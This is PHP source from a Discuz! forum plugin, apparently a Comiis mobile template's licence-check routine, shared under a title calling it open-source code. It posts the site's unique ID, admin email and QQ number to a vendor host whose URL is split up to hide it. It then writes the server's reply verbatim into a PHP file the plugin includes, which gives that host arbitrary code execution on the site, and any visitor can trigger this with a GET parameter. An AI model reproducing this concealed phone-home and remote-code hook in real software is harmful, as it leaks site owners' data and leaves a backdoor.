克米设计手机模板源代码原始件开源代码分享
- <?php
- if(!defined('IN_DISCUZ')) {
- exit('Access Denied');
- }
- function comiis_portal_load_data($plugin_id, $key){
- global $_G, $comiis_portal_info, $comiis_portal_time; // 外部数据变量
- $re_xml_data = $re_system_data = $re_url_data = array();
- if(strlen($plugin_id) < 5 || !preg_match('/^[\w\_]+$/', $plugin_id)){
- return false;
- }
- /* KEY */
- if(strlen($key) != 18){
- return false;
- }
- $re_system_data = array(
- 'siteuniqueid' => ($_G['setting']['siteuniqueid'] ? $_G['setting']['siteuniqueid'] : C::t('common_setting')->fetch('siteuniqueid')),
- 'qq' => $_G['setting']['site_qq'],
- 'mail' => $_G['setting']['adminemail'],
- );
- $h = 0;
- if(!file_exists(DISCUZ_ROOT.'./source/plugin/'.$plugin_id.'/comiis_info/comiis_info.php')){
- return false;
- }else{
- include DISCUZ_ROOT.'./source/plugin/'.$plugin_id.'/comiis_info/comiis_info.php';
- }
- if(file_exists(DISCUZ_ROOT.'./source/plugin/'.$plugin_id.'/comiis_info/comiis_md5file.php')){ // 文件是否存在
- include DISCUZ_ROOT.'./source/plugin/'.$plugin_id.'/comiis_info/comiis_md5file.php';
- if($comiis_portal_time['dateline'] - 864000 < time()){
- $h = 1;
- }
- if(md5($comiis_portal_time['dateline'].md5($plugin_id).md5($comiis_portal_time['dateline']).$key.$_G['setting']['siteuniqueid'].'comiis_v2') != $comiis_portal_time['md5']){
- $h = 1;
- }
- }else{
- $h = 1;
- }
- if($_GET['comiis_up_sn'] === 'yes'){
- $h = 1;
- }
- if($h == 1){
- if($i = @fopen(DISCUZ_ROOT.'./source/plugin/'.$plugin_id.'/comiis_info/comiis_md5file.php', 'wb')) {
- fwrite($i, "<?php\nif(!defined('IN_DISCUZ')){exit('Access Denied');}");
- fclose($i);
- } else {
- exit('Can not write to cache files, please check directory ./source/plugin/'.$plugin_id.'/comiis_info/ .');
- }
- $comiis_url = 'http://ad'.'don.com'.'iis.com/pl'.'ugin.php?id=com'.'iis_serv'.'ice:'.'ne'.'w_serv'.'ice';
- if(!isset($_G['cache']['plugin'])) {
- loadcache('plugin');
- }
- if(file_exists(DISCUZ_ROOT.'./data/addonmd5/'.$plugin_id.'.plugin.xml')){
- require_once libfile('class/xml');
- $j = implode('', @file(DISCUZ_ROOT.'./data/addonmd5/'.$plugin_id.'.plugin.xml'));
- $re_xml_data = xml2array($j);
- }else{
- return false;
- }
- $k = md5($comiis_portal_info['sn'].$comiis_portal_info['siteid'].$comiis_portal_info['revisionid'].$comiis_portal_info['clienturl'].$comiis_portal_info['sn'].$comiis_portal_info['siteurl'].$comiis_portal_info['sn'].$comiis_portal_info['qqid'].$comiis_portal_info['sn']);
- if($k != $comiis_portal_info['md5']){
- return false;
- }
- if(strlen($re_system_data['siteuniqueid']) >15 && strlen($comiis_portal_info['sn']) >19 && strlen($comiis_portal_info['siteid']) == 36 && $re_xml_data['Title'] == 'Discuz! Addon MD5' && $re_xml_data['SN'] == $comiis_portal_info['sn'] && $comiis_portal_info['revisionid'] == $re_xml_data['RevisionID']){
- require_once libfile('function/filesock');
- $l = time();
- $m = array(
- 'key' => $key,
- 'resn' => $re_sn,
- 'sn' => $comiis_portal_info['sn'],
- 'siteurl' => $comiis_portal_info['siteurl'],
- 'clienturl' => $comiis_portal_info['clienturl'],
- 'siteid' => $comiis_portal_info['siteid'],
- 'qqid' => $comiis_portal_info['qqid'],
- 'md5' => $comiis_portal_info['md5'],
- 'siteuniqueid' => $re_system_data['siteuniqueid'],
- 'qq' => $re_system_data['qq'],
- 'mail' => $re_system_data['mail'],
- 'app' => $re_xml_data['ID'],
- 'revisionid' => $comiis_portal_info['revisionid'],
- 'comiis_nore' => 'yes',
- 'comiis_v2' => 'yes',
- 'time' => $l,
- 'md5s' => md5($l. $comiis_portal_info['siteid']. $re_system_data['siteuniqueid']. $comiis_portal_info['siteid']. $comiis_portal_info['sn']. $re_xml_data['ID']. $comiis_portal_info['revisionid']),
- );
- ksort($m);
- $ms = '';
- foreach($m as $ks => $vs) {
- $ms .= '&'.$ks.'='.rawurlencode($vs);
- }
- $m['md5hash'] = md5($ms);
- $n = serialize($m);
- $o = random(10);
- $p = md5($o);
- $p = md5(md5(strrev(substr($p, 0, 15))).substr($p, 8, 25).strrev(substr($p, 15)));
- $n = authcode($n, 'ENCODE', $p);
- $q = array('comiis_post_newdata' => $n, 'comiis_newrandom' => $o);
- $q = base64_encode(serialize($q));
- $r = md5($q.'comiis');
- $s = array('params' => $q, 'md5hash' => $r);
- $t = _dfsockopen($comiis_url, '', $s);
- $re_url_data = dunserialize($t);
- if($re_url_data['status'] == md5($o.'okcomiis')){
- if($i = @fopen(DISCUZ_ROOT.'./source/plugin/'.$plugin_id.'/comiis_info/comiis_md5file.php', 'wb')) {
- fwrite($i, "<?php\nif(!defined('IN_DISCUZ')){exit('Access Denied');}\nglobal \$comiis_portal_time;\n\$comiis_portal_time = array('dateline'=>'{$re_url_data['dateline']}', {$re_url_data['md5']});".($re_url_data['data'] ? $re_url_data['data'] : ''));
- fclose($i);
- }
- }
- }else{
- return false;
- }
- }
- }